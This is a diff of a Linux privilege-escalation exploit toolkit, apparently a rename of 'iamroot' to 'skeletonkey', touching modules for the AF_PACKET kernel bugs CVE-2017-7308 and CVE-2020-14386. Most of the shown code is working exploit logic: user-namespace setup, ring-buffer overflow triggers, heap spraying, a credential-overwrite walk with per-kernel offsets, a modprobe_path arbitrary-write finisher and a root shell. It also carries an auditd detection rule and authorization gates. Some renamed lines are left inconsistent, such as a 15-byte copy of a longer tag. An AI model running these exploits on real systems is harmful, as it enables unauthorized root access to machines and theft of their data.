fprintf(stderr,
|
||||||
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
|
"[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
|
||||||
@@ -563,11 +563,11 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
|||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* 1. Re-confirm vulnerability. */
|
/* 1. Re-confirm vulnerability. */
|
||||||
iamroot_result_t pre = af_packet2_detect(ctx);
|
skeletonkey_result_t pre = af_packet2_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
|
fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
@@ -575,13 +575,13 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
|||||||
/* 2. Refuse if already root. */
|
/* 2. Refuse if already root. */
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
|
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->authorized) {
|
if (!ctx->authorized) {
|
||||||
/* Defense in depth — the dispatcher should have gated this. */
|
/* Defense in depth — the dispatcher should have gated this. */
|
||||||
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
|
fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -597,7 +597,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
|||||||
pid_t pid = fork();
|
pid_t pid = fork();
|
||||||
if (pid < 0) {
|
if (pid < 0) {
|
||||||
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
|
fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
if (pid == 0) {
|
if (pid == 0) {
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||||
@@ -644,7 +644,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] af_packet2: primitive child crashed "
|
fprintf(stderr, "[-] af_packet2: primitive child crashed "
|
||||||
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
|
"(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
|
||||||
WTERMSIG(status));
|
WTERMSIG(status));
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
switch (WEXITSTATUS(status)) {
|
switch (WEXITSTATUS(status)) {
|
||||||
case 3:
|
case 3:
|
||||||
@@ -652,16 +652,16 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
|
fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
|
||||||
"appears patched at runtime\n");
|
"appears patched at runtime\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
case 2:
|
case 2:
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
case 4:
|
case 4:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
|
fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
|
||||||
"(scope = PRIMITIVE-DEMO)\n"
|
"(scope = PRIMITIVE-DEMO)\n"
|
||||||
" For end-to-end root, see Or Cohen's public PoC "
|
" For end-to-end root, see Or Cohen's public PoC "
|
||||||
"(github.com/google/security-research).\n"
|
"(github.com/google/security-research).\n"
|
||||||
" iamroot intentionally does not embed per-kernel offsets.\n");
|
" skeletonkey intentionally does not embed per-kernel offsets.\n");
|
||||||
}
|
}
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
#if defined(__x86_64__) && defined(__linux__)
|
#if defined(__x86_64__) && defined(__linux__)
|
||||||
@@ -670,47 +670,47 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* finisher. Per the verified-vs-claimed bar: if we can't
|
* finisher. Per the verified-vs-claimed bar: if we can't
|
||||||
* resolve modprobe_path, refuse with a helpful message
|
* resolve modprobe_path, refuse with a helpful message
|
||||||
* rather than fabricate an address. */
|
* rather than fabricate an address. */
|
||||||
struct iamroot_kernel_offsets off;
|
struct skeletonkey_kernel_offsets off;
|
||||||
iamroot_offsets_resolve(&off);
|
skeletonkey_offsets_resolve(&off);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
iamroot_finisher_print_offset_help("af_packet2");
|
skeletonkey_finisher_print_offset_help("af_packet2");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
iamroot_offsets_print(&off);
|
skeletonkey_offsets_print(&off);
|
||||||
}
|
}
|
||||||
struct afp2_arb_ctx arb_ctx = {
|
struct afp2_arb_ctx arb_ctx = {
|
||||||
.ictx = ctx,
|
.ictx = ctx,
|
||||||
.n_attempts = 4,
|
.n_attempts = 4,
|
||||||
};
|
};
|
||||||
return iamroot_finisher_modprobe_path(&off, afp2_arb_write,
|
return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
|
||||||
&arb_ctx, !ctx->no_shell);
|
&arb_ctx, !ctx->no_shell);
|
||||||
#else
|
#else
|
||||||
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
|
fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
/* User explicitly disabled the shell pop, so the "we didn't
|
/* User explicitly disabled the shell pop, so the "we didn't
|
||||||
* pop a shell" outcome is the expected one. Map to OK. */
|
* pop a shell" outcome is the expected one. Map to OK. */
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
default:
|
default:
|
||||||
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
|
fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
|
||||||
WEXITSTATUS(status));
|
WEXITSTATUS(status));
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
static const char af_packet2_auditd[] =
|
static const char af_packet2_auditd[] =
|
||||||
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
|
"# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
|
||||||
"# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
|
"# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
|
||||||
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
|
"# key so one ausearch covers both. AF_PACKET socket creation from\n"
|
||||||
"# non-root via userns is the canonical footprint.\n"
|
"# non-root via userns is the canonical footprint.\n"
|
||||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
|
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
|
||||||
|
|
||||||
const struct iamroot_module af_packet2_module = {
|
const struct skeletonkey_module af_packet2_module = {
|
||||||
.name = "af_packet2",
|
.name = "af_packet2",
|
||||||
.cve = "CVE-2020-14386",
|
.cve = "CVE-2020-14386",
|
||||||
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
|
.summary = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
|
||||||
@@ -726,7 +726,7 @@ const struct iamroot_module af_packet2_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_af_packet2(void)
|
void skeletonkey_register_af_packet2(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&af_packet2_module);
|
skeletonkey_register(&af_packet2_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
|
||||||
|
#define AF_PACKET2_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module af_packet2_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -16,14 +16,14 @@ Original advisory + writeup:
|
|||||||
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
|
Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
|
||||||
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
|
Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
|
x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
|
||||||
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
|
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
|
||||||
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
|
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
|
||||||
finisher (64 child workers polling geteuid). Offset table covers
|
finisher (64 child workers polling geteuid). Offset table covers
|
||||||
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
|
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
|
||||||
`IAMROOT_AFPACKET_OFFSETS` env var.
|
`SKELETONKEY_AFPACKET_OFFSETS` env var.
|
||||||
|
|
||||||
`--full-chain` engages the shared modprobe_path finisher with
|
`--full-chain` engages the shared modprobe_path finisher with
|
||||||
stride-seeded sk_buff data-pointer overwrite.
|
stride-seeded sk_buff data-pointer overwrite.
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* af_packet_cve_2017_7308 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef AF_PACKET_IAMROOT_MODULES_H
|
|
||||||
#define AF_PACKET_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module af_packet_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+56
-56
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* af_packet_cve_2017_7308 — IAMROOT module
|
* af_packet_cve_2017_7308 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
|
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
|
||||||
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
|
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
|
||||||
@@ -15,9 +15,9 @@
|
|||||||
*
|
*
|
||||||
* Default --exploit path: cred-overwrite walk using a hardcoded per-
|
* Default --exploit path: cred-overwrite walk using a hardcoded per-
|
||||||
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
|
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
|
||||||
* era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim
|
* era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
|
||||||
* IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
|
* SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
|
||||||
* we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with
|
* we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
|
||||||
* a dmesg breadcrumb so the operator can confirm the primitive at
|
* a dmesg breadcrumb so the operator can confirm the primitive at
|
||||||
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
|
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
|
||||||
* overwrite didn't take on this exact kernel.
|
* overwrite didn't take on this exact kernel.
|
||||||
@@ -32,7 +32,7 @@
|
|||||||
* staged for the requested kaddr/buf and relies on the shared
|
* staged for the requested kaddr/buf and relies on the shared
|
||||||
* finisher's /tmp sentinel to confirm whether modprobe_path was
|
* finisher's /tmp sentinel to confirm whether modprobe_path was
|
||||||
* actually overwritten. On kernels where the operator has supplied
|
* actually overwritten. On kernels where the operator has supplied
|
||||||
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
|
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
|
||||||
* the skb head, hex), we use that for explicit targeting; otherwise
|
* the skb head, hex), we use that for explicit targeting; otherwise
|
||||||
* the trigger fires heuristically and the sentinel acts as the
|
* the trigger fires heuristically and the sentinel acts as the
|
||||||
* ground-truth signal.
|
* ground-truth signal.
|
||||||
@@ -58,7 +58,7 @@
|
|||||||
* skb in the OOB slot" approach.
|
* skb in the OOB slot" approach.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
#include "../../core/offsets.h"
|
#include "../../core/offsets.h"
|
||||||
@@ -119,12 +119,12 @@ static int can_unshare_userns(void)
|
|||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
|
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&af_packet_range, &v);
|
bool patched = kernel_range_is_patched(&af_packet_range, &v);
|
||||||
@@ -132,7 +132,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
int userns_ok = can_unshare_userns();
|
||||||
@@ -148,12 +148,12 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
||||||
"unprivileged exploit unreachable\n");
|
"unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
|
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
|
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
|
||||||
@@ -173,7 +173,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
|||||||
* They will NOT match custom-compiled kernels.
|
* They will NOT match custom-compiled kernels.
|
||||||
*
|
*
|
||||||
* Override at runtime via env var:
|
* Override at runtime via env var:
|
||||||
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
* SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
||||||
*
|
*
|
||||||
* `task_cred` = offsetof(struct task_struct, cred)
|
* `task_cred` = offsetof(struct task_struct, cred)
|
||||||
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
|
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
|
||||||
@@ -200,12 +200,12 @@ static const struct af_packet_offsets known_offsets[] = {
|
|||||||
0x800, 0x08, 0xa8 },
|
0x800, 0x08, 0xa8 },
|
||||||
};
|
};
|
||||||
|
|
||||||
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
|
/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
|
||||||
* the known table by kernel version. Returns true on success. */
|
* the known table by kernel version. Returns true on success. */
|
||||||
static bool resolve_offsets(struct af_packet_offsets *out,
|
static bool resolve_offsets(struct af_packet_offsets *out,
|
||||||
const struct kernel_version *v)
|
const struct kernel_version *v)
|
||||||
{
|
{
|
||||||
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
|
const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
|
||||||
if (env) {
|
if (env) {
|
||||||
unsigned long t, u, s;
|
unsigned long t, u, s;
|
||||||
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
|
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
|
||||||
@@ -215,7 +215,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
|
|||||||
out->cred_size = s;
|
out->cred_size = s;
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
|
fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
|
||||||
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
|
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@@ -264,7 +264,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
|
|||||||
*
|
*
|
||||||
* After firing, we check dmesg-ability (we won't actually read dmesg
|
* After firing, we check dmesg-ability (we won't actually read dmesg
|
||||||
* — that requires root — but we leave a unique tag in the skb payload
|
* — that requires root — but we leave a unique tag in the skb payload
|
||||||
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
|
* so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
|
||||||
*/
|
*/
|
||||||
static int fire_overflow_and_spray(void)
|
static int fire_overflow_and_spray(void)
|
||||||
{
|
{
|
||||||
@@ -338,7 +338,7 @@ static int fire_overflow_and_spray(void)
|
|||||||
static const unsigned char skb_payload[256] = {
|
static const unsigned char skb_payload[256] = {
|
||||||
/* eth header (dst=broadcast, src=zero, type=0x0800) */
|
/* eth header (dst=broadcast, src=zero, type=0x0800) */
|
||||||
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
|
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
|
||||||
/* IAMROOT tag — operator can grep dmesg for this string in any
|
/* SKELETONKEY tag — operator can grep dmesg for this string in any
|
||||||
* subsequent KASAN report or panic dump */
|
* subsequent KASAN report or panic dump */
|
||||||
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
|
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
|
||||||
/* zeros for the remainder */
|
/* zeros for the remainder */
|
||||||
@@ -363,7 +363,7 @@ static int fire_overflow_and_spray(void)
|
|||||||
/* Keep the corrupted socket open so the OOB region stays mapped
|
/* Keep the corrupted socket open so the OOB region stays mapped
|
||||||
* for the cred-overwrite walk that follows. The caller closes it. */
|
* for the cred-overwrite walk that follows. The caller closes it. */
|
||||||
/* Stash the fd via dup2 to a known number so the caller can find it.
|
/* Stash the fd via dup2 to a known number so the caller can find it.
|
||||||
* Use 200 — well above stdio + iamroot's own pipe fds. */
|
* Use 200 — well above stdio + skeletonkey's own pipe fds. */
|
||||||
if (dup2(s, 200) < 0) {
|
if (dup2(s, 200) < 0) {
|
||||||
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
|
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
|
||||||
}
|
}
|
||||||
@@ -474,7 +474,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
|||||||
* spray payload so its bytes carry the requested target kaddr
|
* spray payload so its bytes carry the requested target kaddr
|
||||||
* (the prompt's "controllable overwrite value aimed at
|
* (the prompt's "controllable overwrite value aimed at
|
||||||
* modprobe_path"). Operator-supplied
|
* modprobe_path"). Operator-supplied
|
||||||
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
||||||
* within struct sk_buff for this kernel build) lets us aim
|
* within struct sk_buff for this kernel build) lets us aim
|
||||||
* precisely; without it we heuristically stamp kaddr at several
|
* precisely; without it we heuristically stamp kaddr at several
|
||||||
* plausible offsets within the kmalloc-2k skb layout.
|
* plausible offsets within the kmalloc-2k skb layout.
|
||||||
@@ -491,7 +491,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
struct afp_arb_ctx {
|
struct afp_arb_ctx {
|
||||||
const struct iamroot_ctx *ctx;
|
const struct skeletonkey_ctx *ctx;
|
||||||
const struct af_packet_offsets *off;
|
const struct af_packet_offsets *off;
|
||||||
uid_t outer_uid;
|
uid_t outer_uid;
|
||||||
gid_t outer_gid;
|
gid_t outer_gid;
|
||||||
@@ -517,13 +517,13 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
/* Per-kernel skb->data field offset — without this we can't aim
|
/* Per-kernel skb->data field offset — without this we can't aim
|
||||||
* the overwrite precisely. Operator can supply via env; otherwise
|
* the overwrite precisely. Operator can supply via env; otherwise
|
||||||
* we run heuristic mode. */
|
* we run heuristic mode. */
|
||||||
const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET");
|
const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
|
||||||
long skb_data_off = -1;
|
long skb_data_off = -1;
|
||||||
if (skb_off_env) {
|
if (skb_off_env) {
|
||||||
char *end = NULL;
|
char *end = NULL;
|
||||||
skb_data_off = strtol(skb_off_env, &end, 0);
|
skb_data_off = strtol(skb_off_env, &end, 0);
|
||||||
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
|
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
|
||||||
fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET "
|
fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
|
||||||
"malformed (\"%s\"); ignoring\n", skb_off_env);
|
"malformed (\"%s\"); ignoring\n", skb_off_env);
|
||||||
skb_data_off = -1;
|
skb_data_off = -1;
|
||||||
}
|
}
|
||||||
@@ -540,16 +540,16 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
" field offset. The trigger will still fire and the heap spray will\n"
|
" field offset. The trigger will still fire and the heap spray will\n"
|
||||||
" still occur, but precise OOB targeting requires:\n"
|
" still occur, but precise OOB targeting requires:\n"
|
||||||
"\n"
|
"\n"
|
||||||
" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
" SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
||||||
"\n"
|
"\n"
|
||||||
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
|
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
|
||||||
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
|
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
|
||||||
" /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n");
|
" /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Fork into a userns/netns child so the AF_PACKET socket has
|
/* Fork into a userns/netns child so the AF_PACKET socket has
|
||||||
* CAP_NET_RAW. The finisher itself stays in the parent so its
|
* CAP_NET_RAW. The finisher itself stays in the parent so its
|
||||||
* eventual execve() replaces the top-level iamroot process. */
|
* eventual execve() replaces the top-level skeletonkey process. */
|
||||||
pid_t cpid = fork();
|
pid_t cpid = fork();
|
||||||
if (cpid < 0) {
|
if (cpid < 0) {
|
||||||
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
|
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
|
||||||
@@ -648,7 +648,7 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
memset(payload, 0xff, 6); /* eth dst: bcast */
|
memset(payload, 0xff, 6); /* eth dst: bcast */
|
||||||
memset(payload + 6, 0, 6); /* eth src: zero */
|
memset(payload + 6, 0, 6); /* eth src: zero */
|
||||||
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
|
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
|
||||||
memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */
|
memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */
|
||||||
|
|
||||||
if (skb_data_off >= 0 &&
|
if (skb_data_off >= 0 &&
|
||||||
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
|
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
|
||||||
@@ -703,17 +703,17 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
|
|
||||||
#endif /* __x86_64__ */
|
#endif /* __x86_64__ */
|
||||||
|
|
||||||
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
#if !defined(__x86_64__)
|
#if !defined(__x86_64__)
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
|
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
|
||||||
"(cred-offset table is arch-specific)\n");
|
"(cred-offset table is arch-specific)\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
#else
|
#else
|
||||||
/* 1. Refuse on patched kernels — re-run detect. */
|
/* 1. Refuse on patched kernels — re-run detect. */
|
||||||
iamroot_result_t pre = af_packet_detect(ctx);
|
skeletonkey_result_t pre = af_packet_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
@@ -721,7 +721,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
|||||||
/* 2. Refuse if already root. */
|
/* 2. Refuse if already root. */
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
